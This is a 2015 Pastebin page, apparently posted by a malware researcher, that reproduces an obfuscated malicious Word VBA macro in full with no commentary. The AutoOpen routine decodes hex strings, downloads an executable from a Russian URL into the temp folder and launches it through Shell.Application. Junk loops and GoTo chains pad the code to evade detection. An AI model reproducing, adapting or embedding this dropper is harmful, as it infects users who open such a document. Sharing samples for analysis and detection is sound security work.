SHARE
TWEET

Malicious Word macro

dynamoo Feb 13th, 2015 207 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9.  
  10. Private Const gqn = "5368656C6C2E4170706C69636174696F6E"
  11. Private Const LZQ5OdSue = "41444F44422E53747265616D"
  12. Private Const pYwu6O = "536372697074696E672E46696C6553797374656D4F626A656374"
  13. Private Const VhByjMvt = "474554"
  14. Private Const XsC1C = "4D53584D4C322E584D4C48545450"
  15. Private Const PVmtMiQoW = "5C64734848482E657865"
  16. Private Const IueTSIJ = "687474703A2F2F7374726F7967702E72752F6A732F62696E2E657865"
  17. Private Const TFR6Ak8agqy = pYwu6O
  18.  
  19. Sub autoopen()
  20.  
  21. Dim FffFObD As Integer
  22. FffFObD = 117
  23. Do While FffFObD < 117 + 10
  24. FffFObD = FffFObD + 1: DoEvents
  25. Loop
  26. Dim PkbRf As Integer
  27. PkbRf = 1477
  28. Do While PkbRf < 1477 + 10
  29. PkbRf = PkbRf + 1: DoEvents
  30. Loop
  31. Dim fso, tempfile
  32. Dim EvUkdMuxR As Integer
  33. EvUkdMuxR = 1637
  34. Do While EvUkdMuxR < 1637 + 10
  35. EvUkdMuxR = EvUkdMuxR + 1: DoEvents
  36. Loop
  37. Dim JCJoOAQUQOoQ As Integer
  38. JCJoOAQUQOoQ = 1954
  39. Do While JCJoOAQUQOoQ < 1954 + 10
  40. JCJoOAQUQOoQ = JCJoOAQUQOoQ + 1: DoEvents
  41. Loop
  42. Set fso = CreateObject(wffREgBOdKcN(TFR6Ak8agqy))
  43. Dim dkrUihxBE As Integer
  44. dkrUihxBE = 1732
  45. Do While dkrUihxBE < 1732 + 10
  46. dkrUihxBE = dkrUihxBE + 1: DoEvents
  47. Loop
  48. Dim VTZJCJoOAQUQ As Integer
  49. VTZJCJoOAQUQ = 1224
  50. Do While VTZJCJoOAQUQ < 1224 + 10
  51. VTZJCJoOAQUQ = VTZJCJoOAQUQ + 1: DoEvents
  52. Loop
  53.  
  54. Dim kdMuxRuyMIrFfFObD As Integer
  55. kdMuxRuyMIrFfFObD = 117
  56. Do While kdMuxRuyMIrFfFObD < 117 + 10
  57. kdMuxRuyMIrFfFObD = kdMuxRuyMIrFfFObD + 1: DoEvents
  58. Loop
  59. Dim RQhlnfETL As Integer
  60. RQhlnfETL = 54
  61. Do While RQhlnfETL < 54 + 10
  62. RQhlnfETL = RQhlnfETL + 1: DoEvents
  63. Loop
  64. Dim tfolder, tname, tfile
  65. Dim vQfrTnSq As Integer
  66. vQfrTnSq = 148
  67. Do While vQfrTnSq < 148 + 10
  68. vQfrTnSq = vQfrTnSq + 1: DoEvents
  69. Loop
  70. Dim wGbpcOLKnTlYc As Integer
  71. wGbpcOLKnTlYc = 1193
  72. Do While wGbpcOLKnTlYc < 1193 + 10
  73. wGbpcOLKnTlYc = wGbpcOLKnTlYc + 1: DoEvents
  74. Loop
  75. Const TemporaryFolder = 2
  76. Dim jsQxbqdwEuaUVTZJCJ As Integer
  77. jsQxbqdwEuaUVTZJCJ = 1572
  78. Do While jsQxbqdwEuaUVTZJCJ < 1572 + 10
  79. jsQxbqdwEuaUVTZJCJ = jsQxbqdwEuaUVTZJCJ + 1: DoEvents
  80. Loop
  81. Dim BEvUkdMu As Integer
  82. BEvUkdMu = 433
  83. Do While BEvUkdMu < 433 + 10
  84. BEvUkdMu = BEvUkdMu + 1: DoEvents
  85. Loop
  86. Set tfolder = fso.GetSpecialFolder(TemporaryFolder)
  87. Dim CZxDz As Integer
  88. CZxDz = 2081
  89. Do While CZxDz < 2081 + 10
  90. CZxDz = CZxDz + 1: DoEvents
  91. Loop
  92. Dim ItAHYyyND As Integer
  93. ItAHYyyND = 53
  94. Do While ItAHYyyND < 53 + 10
  95. ItAHYyyND = ItAHYyyND + 1: DoEvents
  96. Loop
  97. strLink = wffREgBOdKcN(IueTSIJ)
  98. Dim ffFObDQCa As Integer
  99. ffFObDQCa = 2394
  100. Do While ffFObDQCa < 2394 + 10
  101. ffFObDQCa = ffFObDQCa + 1: DoEvents
  102. Loop
  103. Dim nseQeIU As Integer
  104. nseQeIU = 1205
  105. Do While nseQeIU < 1205 + 10
  106. nseQeIU = nseQeIU + 1: DoEvents
  107. Loop
  108.  
  109. Dim MUVfDybd As Integer
  110. MUVfDybd = 1206
  111. Do While MUVfDybd < 1206 + 10
  112. MUVfDybd = MUVfDybd + 1: DoEvents
  113. Loop
  114. Dim NQgBCMVQu As Integer
  115. NQgBCMVQu = 1395
  116. Do While NQgBCMVQu < 1395 + 10
  117. NQgBCMVQu = NQgBCMVQu + 1: DoEvents
  118. Loop
  119. strSaveTo = tfolder & wffREgBOdKcN(PVmtMiQoW)
  120. Dim MHIGLw As Integer
  121. MHIGLw = 129
  122. Do While MHIGLw < 129 + 10
  123. MHIGLw = MHIGLw + 1: DoEvents
  124. Loop
  125. Dim pnseQeI As Integer
  126. pnseQeI = 732
  127. Do While pnseQeI < 732 + 10
  128. pnseQeI = pnseQeI + 1: DoEvents
  129. Loop
  130.  
  131. Dim wDKbCBRHJB As Integer
  132. wDKbCBRHJB = 2281
  133. Do While wDKbCBRHJB < 2281 + 10
  134. wDKbCBRHJB = wDKbCBRHJB + 1: DoEvents
  135. Loop
  136. Dim riHQPzh As Integer
  137. riHQPzh = 1743
  138. Do While riHQPzh < 1743 + 10
  139. riHQPzh = riHQPzh + 1: DoEvents
  140. Loop
  141.  
  142. Dim dYZQcMGNSDTYaRr As Integer
  143. dYZQcMGNSDTYaRr = 794
  144. Do While dYZQcMGNSDTYaRr < 794 + 10
  145. dYZQcMGNSDTYaRr = dYZQcMGNSDTYaRr + 1: DoEvents
  146. Loop
  147. Dim lAEHzY As Integer
  148. lAEHzY = 1302
  149. Do While lAEHzY < 1302 + 10
  150. lAEHzY = lAEHzY + 1: DoEvents
  151. Loop
  152. Set objHTTP = CreateObject(wffREgBOdKcN(XsC1C))
  153. Dim xdYZQcMGNr As Integer
  154. xdYZQcMGNr = 478
  155. Do While xdYZQcMGNr < 478 + 10
  156. xdYZQcMGNr = xdYZQcMGNr + 1: DoEvents
  157. Loop
  158. Dim vIiiJReGaFvUvGA As Integer
  159. vIiiJReGaFvUvGA = 2094
  160. Do While vIiiJReGaFvUvGA < 2094 + 10
  161. vIiiJReGaFvUvGA = vIiiJReGaFvUvGA + 1: DoEvents
  162. Loop
  163.  
  164. Dim ffejTMTyLKbe As Integer
  165. ffejTMTyLKbe = 2455
  166. Do While ffejTMTyLKbe < 2455 + 10
  167. ffejTMTyLKbe = ffejTMTyLKbe + 1: DoEvents
  168. Loop
  169. Dim ARsrHxAs As Integer
  170. ARsrHxAs = 112
  171. Do While ARsrHxAs < 112 + 10
  172. ARsrHxAs = ARsrHxAs + 1: DoEvents
  173. Loop
  174.  
  175. Dim ehZxM As Integer
  176. ehZxM = 586
  177. Do While ehZxM < 586 + 10
  178. ehZxM = ehZxM + 1: DoEvents
  179. Loop
  180. Dim wBntARsr As Integer
  181. wBntARsr = 2108
  182. Do While wBntARsr < 2108 + 10
  183. wBntARsr = wBntARsr + 1: DoEvents
  184. Loop
  185. objHTTP.Open wffREgBOdKcN(VhByjMvt), strLink, False
  186. Dim GAqVffe As Integer
  187. GAqVffe = 271
  188. Do While GAqVffe < 271 + 10
  189. GAqVffe = GAqVffe + 1: DoEvents
  190. Loop
  191. Dim hQCxy As Integer
  192. hQCxy = 1314
  193. Do While hQCxy < 1314 + 10
  194. hQCxy = hQCxy + 1: DoEvents
  195. Loop
  196. objHTTP.send
  197. Dim ejTMT As Integer
  198. ejTMT = 1220
  199. Do While ejTMT < 1220 + 10
  200. ejTMT = ejTMT + 1: DoEvents
  201. Loop
  202. Dim YlMhLkBNCzt As Integer
  203. YlMhLkBNCzt = 1662
  204. Do While YlMhLkBNCzt < 1662 + 10
  205. YlMhLkBNCzt = YlMhLkBNCzt + 1: DoEvents
  206. Loop
  207.  
  208. Dim jQiTYyZkew As Integer
  209. jQiTYyZkew = 791
  210. Do While jQiTYyZkew < 791 + 10
  211. jQiTYyZkew = jQiTYyZkew + 1: DoEvents
  212. Loop
  213. Dim EErsScoQkOnF As Integer
  214. EErsScoQkOnF = 159
  215. Do While EErsScoQkOnF < 159 + 10
  216. EErsScoQkOnF = EErsScoQkOnF + 1: DoEvents
  217. Loop
  218. Set objFSO = CreateObject(wffREgBOdKcN(TFR6Ak8agqy))
  219. Dim iTYyZkewtPl As Integer
  220. iTYyZkewtPl = 2055
  221. Do While iTYyZkewtPl < 2055 + 10
  222. iTYyZkewtPl = iTYyZkewtPl + 1: DoEvents
  223. Loop
  224. Dim rsScoQkOn As Integer
  225. rsScoQkOn = 1106
  226. Do While rsScoQkOn < 1106 + 10
  227. rsScoQkOn = rsScoQkOn + 1: DoEvents
  228. Loop
  229. If objFSO.FileExists(strSaveTo) Then
  230. Dim sCYlZ As Integer
  231. sCYlZ = 1582
  232. Do While sCYlZ < 1582 + 10
  233. sCYlZ = sCYlZ + 1: DoEvents
  234. Loop
  235. Dim xcaHwQGxLVEE As Integer
  236. xcaHwQGxLVEE = 1296
  237. Do While xcaHwQGxLVEE < 1296 + 10
  238. xcaHwQGxLVEE = xcaHwQGxLVEE + 1: DoEvents
  239. Loop
  240.   objFSO.DeleteFile (strSaveTo)
  241. Dim LyIgbEG As Integer
  242. LyIgbEG = 346
  243. Do While LyIgbEG < 346 + 10
  244. LyIgbEG = LyIgbEG + 1: DoEvents
  245. Loop
  246. Dim FCZITaV As Integer
  247. FCZITaV = 593
  248. Do While FCZITaV < 593 + 10
  249. FCZITaV = FCZITaV + 1: DoEvents
  250. Loop
  251. End If
  252. Dim oOaTmjFcAso As Integer
  253. oOaTmjFcAso = 85
  254. Do While oOaTmjFcAso < 85 + 10
  255. oOaTmjFcAso = oOaTmjFcAso + 1: DoEvents
  256. Loop
  257. Dim FevHv As Integer
  258. FevHv = 719
  259. Do While FevHv < 719 + 10
  260. FevHv = FevHv + 1: DoEvents
  261. Loop
  262.  
  263. Dim yxaHZ As Integer
  264. yxaHZ = 1763
  265. Do While yxaHZ < 1763 + 10
  266. yxaHZ = yxaHZ + 1: DoEvents
  267. Loop
  268. Dim evHvtnFCZ As Integer
  269. evHvtnFCZ = 1446
  270. Do While evHvtnFCZ < 1446 + 10
  271. evHvtnFCZ = evHvtnFCZ + 1: DoEvents
  272. Loop
  273. If objHTTP.Status = 200 Then
  274. Dim vUUwEQ As Integer
  275. vUUwEQ = 1839
  276. Do While vUUwEQ < 1839 + 10
  277. vUUwEQ = vUUwEQ + 1: DoEvents
  278. Loop
  279. Dim FrGKN As Integer
  280. FrGKN = 1555
  281. Do While FrGKN < 1555 + 10
  282. FrGKN = FrGKN + 1: DoEvents
  283. Loop
  284.   Dim objStream
  285. Dim UxzgA As Integer
  286. UxzgA = 1082
  287. Do While UxzgA < 1082 + 10
  288. UxzgA = UxzgA + 1: DoEvents
  289. Loop
  290. Dim ZkBCY As Integer
  291. ZkBCY = 542
  292. Do While ZkBCY < 542 + 10
  293. ZkBCY = ZkBCY + 1: DoEvents
  294. Loop
  295.   Set objStream = CreateObject(wffREgBOdKcN(LZQ5OdSue))
  296. Dim dQpmJfDvsDUEsBaUx As Integer
  297. dQpmJfDvsDUEsBaUx = 416
  298. Do While dQpmJfDvsDUEsBaUx < 416 + 10
  299. dQpmJfDvsDUEsBaUx = dQpmJfDvsDUEsBaUx + 1: DoEvents
  300. Loop
  301. Dim TmukPKLJOAt As Integer
  302. TmukPKLJOAt = 1016
  303. Do While TmukPKLJOAt < 1016 + 10
  304. TmukPKLJOAt = TmukPKLJOAt + 1: DoEvents
  305. Loop
  306.   With objStream
  307. Dim kcBQIt As Integer
  308. kcBQIt = 376
  309. Do While kcBQIt < 376 + 10
  310. kcBQIt = kcBQIt + 1: DoEvents
  311. Loop
  312. Dim MSObrsNPZ As Integer
  313. MSObrsNPZ = 1769
  314. Do While MSObrsNPZ < 1769 + 10
  315. MSObrsNPZ = MSObrsNPZ + 1: DoEvents
  316. Loop
  317.     .Type = 1
  318. Dim UIuVsrSARD As Integer
  319. UIuVsrSARD = 1295
  320. Do While UIuVsrSARD < 1295 + 10
  321. UIuVsrSARD = UIuVsrSARD + 1: DoEvents
  322. Loop
  323. Dim LJrgAr As Integer
  324. LJrgAr = 1642
  325. Do While LJrgAr < 1642 + 10
  326. LJrgAr = LJrgAr + 1: DoEvents
  327. Loop
  328.     .Open
  329. Dim NRTLlzsd As Integer
  330. NRTLlzsd = 122
  331. Do While NRTLlzsd < 122 + 10
  332. NRTLlzsd = NRTLlzsd + 1: DoEvents
  333. Loop
  334. Dim GkOMuj As Integer
  335. GkOMuj = 2287
  336. Do While GkOMuj < 2287 + 10
  337. GkOMuj = GkOMuj + 1: DoEvents
  338. Loop
  339.     .Write objHTTP.responseBody
  340. Dim QUQOoDvgN As Integer
  341. QUQOoDvgN = 2381
  342. Do While QUQOoDvgN < 2381 + 10
  343. QUQOoDvgN = QUQOoDvgN + 1: DoEvents
  344. Loop
  345. Dim jeHJqwPYNt As Integer
  346. jeHJqwPYNt = 1339
  347. Do While jeHJqwPYNt < 1339 + 10
  348. jeHJqwPYNt = jeHJqwPYNt + 1: DoEvents
  349. Loop
  350.     .SaveToFile strSaveTo
  351. Dim mjuxMi As Integer
  352. mjuxMi = 168
  353. Do While mjuxMi < 168 + 10
  354. mjuxMi = mjuxMi + 1: DoEvents
  355. Loop
  356. Dim nFNDje As Integer
  357. nFNDje = 2247
  358. Do While nFNDje < 2247 + 10
  359. nFNDje = nFNDje + 1: DoEvents
  360. Loop
  361.     .Close
  362. Dim dyQdZloCY As Integer
  363. dyQdZloCY = 476
  364. Do While dyQdZloCY < 476 + 10
  365. dyQdZloCY = dyQdZloCY + 1: DoEvents
  366. Loop
  367. Dim jRfEEg As Integer
  368. jRfEEg = 1046
  369. Do While jRfEEg < 1046 + 10
  370. jRfEEg = jRfEEg + 1: DoEvents
  371. Loop
  372.   End With
  373. Dim BqKArFPyy As Integer
  374. BqKArFPyy = 602
  375. Do While BqKArFPyy < 602 + 10
  376. BqKArFPyy = BqKArFPyy + 1: DoEvents
  377. Loop
  378. Dim uQcpm As Integer
  379. uQcpm = 1279
  380. Do While uQcpm < 1279 + 10
  381. uQcpm = uQcpm + 1: DoEvents
  382. Loop
  383.   Set objStream = Nothing
  384. Dim AGaiQCyyxCng As Integer
  385. AGaiQCyyxCng = 2260
  386. Do While AGaiQCyyxCng < 2260 + 10
  387. AGaiQCyyxCng = AGaiQCyyxCng + 1: DoEvents
  388. Loop
  389. Dim QsfpMHlnSn As Integer
  390. QsfpMHlnSn = 2326
  391. Do While QsfpMHlnSn < 2326 + 10
  392. QsfpMHlnSn = QsfpMHlnSn + 1: DoEvents
  393. Loop
  394. End If
  395. Dim JPLYopKMtbDTAGaiQCyy As Integer
  396. JPLYopKMtbDTAGaiQCyy = 1249
  397. Do While JPLYopKMtbDTAGaiQCyy < 1249 + 10
  398. JPLYopKMtbDTAGaiQCyy = JPLYopKMtbDTAGaiQCyy + 1: DoEvents
  399. Loop
  400. Dim wRqjf As Integer
  401. wRqjf = 393
  402. Do While wRqjf < 393 + 10
  403. wRqjf = wRqjf + 1: DoEvents
  404. Loop
  405.  
  406. Dim fgBDMkRvKrx As Integer
  407. fgBDMkRvKrx = 2017
  408. Do While fgBDMkRvKrx < 2017 + 10
  409. fgBDMkRvKrx = fgBDMkRvKrx + 1: DoEvents
  410. Loop
  411. Dim oFrvVwHBTQ As Integer
  412. oFrvVwHBTQ = 436
  413. Do While oFrvVwHBTQ < 436 + 10
  414. oFrvVwHBTQ = oFrvVwHBTQ + 1: DoEvents
  415. Loop
  416. If objFSO.FileExists(strSaveTo) Then
  417. Dim zLoHnKddaTmkGq As Integer
  418. zLoHnKddaTmkGq = 879
  419. Do While zLoHnKddaTmkGq < 879 + 10
  420. zLoHnKddaTmkGq = zLoHnKddaTmkGq + 1: DoEvents
  421. Loop
  422. Dim IvzZzKE As Integer
  423. IvzZzKE = 1113
  424. Do While IvzZzKE < 1113 + 10
  425. IvzZzKE = IvzZzKE + 1: DoEvents
  426. Loop
  427.  
  428. Dim iZmwgfS As Integer
  429. iZmwgfS = 953
  430. Do While iZmwgfS < 953 + 10
  431. iZmwgfS = iZmwgfS + 1: DoEvents
  432. Loop
  433. Dim QkfTzIJH As Integer
  434. QkfTzIJH = 1714
  435. Do While QkfTzIJH < 1714 + 10
  436. QkfTzIJH = QkfTzIJH + 1: DoEvents
  437. Loop
  438. End If
  439. Dim DLBhcd As Integer
  440. DLBhcd = 257
  441. Do While DLBhcd < 257 + 10
  442. DLBhcd = DLBhcd + 1: DoEvents
  443. Loop
  444. Dim kRjUZynkewtQ As Integer
  445. kRjUZynkewtQ = 1579
  446. Do While kRjUZynkewtQ < 1579 + 10
  447. kRjUZynkewtQ = kRjUZynkewtQ + 1: DoEvents
  448. Loop
  449.  Set GBIviviu67FUGBK = CreateObject(wffREgBOdKcN(gqn))
  450. Dim LdMjSekgrIQ As Integer
  451. LdMjSekgrIQ = 2213
  452. Do While LdMjSekgrIQ < 2213 + 10
  453. LdMjSekgrIQ = LdMjSekgrIQ + 1: DoEvents
  454. Loop
  455. Dim QmKQMZcq As Integer
  456. QmKQMZcq = 1705
  457. Do While QmKQMZcq < 1705 + 10
  458. QmKQMZcq = QmKQMZcq + 1: DoEvents
  459. Loop
  460. GBIviviu67FUGBK.Open strSaveTo
  461. Dim TcpQkPo As Integer
  462. TcpQkPo = 1040
  463. Do While TcpQkPo < 1040 + 10
  464. TcpQkPo = TcpQkPo + 1: DoEvents
  465. Loop
  466. Dim GppdOqMZ As Integer
  467. GppdOqMZ = 2227
  468. Do While GppdOqMZ < 2227 + 10
  469. GppdOqMZ = GppdOqMZ + 1: DoEvents
  470. Loop
  471. End Sub
  472.  
  473.  
  474. Public Function wffREgBOdKcN(ByVal lNPwQVeT As String) As String
  475. GoTo yZyJDVF
  476. yZyJDVF:
  477. GoTo agcnETbcmJEikQQqy
  478. agcnETbcmJEikQQqy:
  479. GoTo OOMRDJQiIHYNQIhKpnU
  480. OOMRDJQiIHYNQIhKpnU:
  481. GoTo TKZjRR
  482. TKZjRR:
  483. GoTo goBdxcAReSPJcZ
  484. goBdxcAReSPJcZ:
  485. Dim IIHMjqxcpo As String
  486. GoTo wsEUVrtCaG
  487. wsEUVrtCaG:
  488. Dim HKCbqjSBDYA As String
  489. GoTo nGODjff
  490. nGODjff:
  491. GoTo TMTyZKb
  492. TMTyZKb:
  493. GoTo ZxbFpla
  494. ZxbFpla:
  495. GoTo bpziiUHj
  496. bpziiUHj:
  497. Dim SPyLllMUhJd As Long
  498. GoTo NfQUujg
  499. NfQUujg:
  500. GoTo pMiGMIUYmH
  501. pMiGMIUYmH:
  502. GoTo dYAQjDQQGmvvuzkdkO
  503. dYAQjDQQGmvvuzkdkO:
  504. GoTo ruxpN
  505. ruxpN:
  506. GoTo FoqKnsFPlymYzVUwevh
  507. FoqKnsFPlymYzVUwevh:
  508. GoTo lwqIFdyQPLQoCYLV
  509. lwqIFdyQPLQoCYLV:
  510. For SPyLllMUhJd = 1 To Len(lNPwQVeT) Step 2
  511. GoTo SzTZhQCLLKPntAfsrH
  512. SzTZhQCLLKPntAfsrH:
  513. GoTo FetmQEGbDIVSBOooP
  514. FetmQEGbDIVSBOooP:
  515. IIHMjqxcpo = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(lNPwQVeT, SPyLllMUhJd, 2)))
  516. GoTo hLkBcCNHaIfOagcnE
  517. hLkBcCNHaIfOagcnE:
  518. GoTo cmJEi
  519. cmJEi:
  520. HKCbqjSBDYA = HKCbqjSBDYA & IIHMjqxcpo
  521. GoTo qynSOOMRDJQiIHYNQIhK
  522. qynSOOMRDJQiIHYNQIhK:
  523. GoTo UJeTKZjRR
  524. UJeTKZjRR:
  525. GoTo goBdxcAReSPJcZgqwsEUVrtCa
  526. goBdxcAReSPJcZgqwsEUVrtCa:
  527. GoTo AhnGODjf
  528. AhnGODjf:
  529. GoTo iTMTyZ
  530. iTMTyZ:
  531. GoTo ehZxb
  532. ehZxb:
  533. Next SPyLllMUhJd
  534. GoTo aukbpzii
  535. aukbpzii:
  536. GoTo jFRgNfQUujgaspM
  537. jFRgNfQUujgaspM:
  538. GoTo MIUYmHJSdYAQjDQ
  539. MIUYmHJSdYAQjDQ:
  540. wffREgBOdKcN = HKCbqjSBDYA
  541. GoTo vvuzkdkO
  542. vvuzkdkO:
  543. GoTo ruxpNVFoqKn
  544. ruxpNVFoqKn:
  545. GoTo PlymYzVUwevhlL
  546. PlymYzVUwevhlL:
  547. GoTo qIFdyQPLQoCY
  548. qIFdyQPLQoCY:
  549. GoTo toRSzTZhQCLLKPntAfs
  550. toRSzTZhQCLLKPntAfs:
  551. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top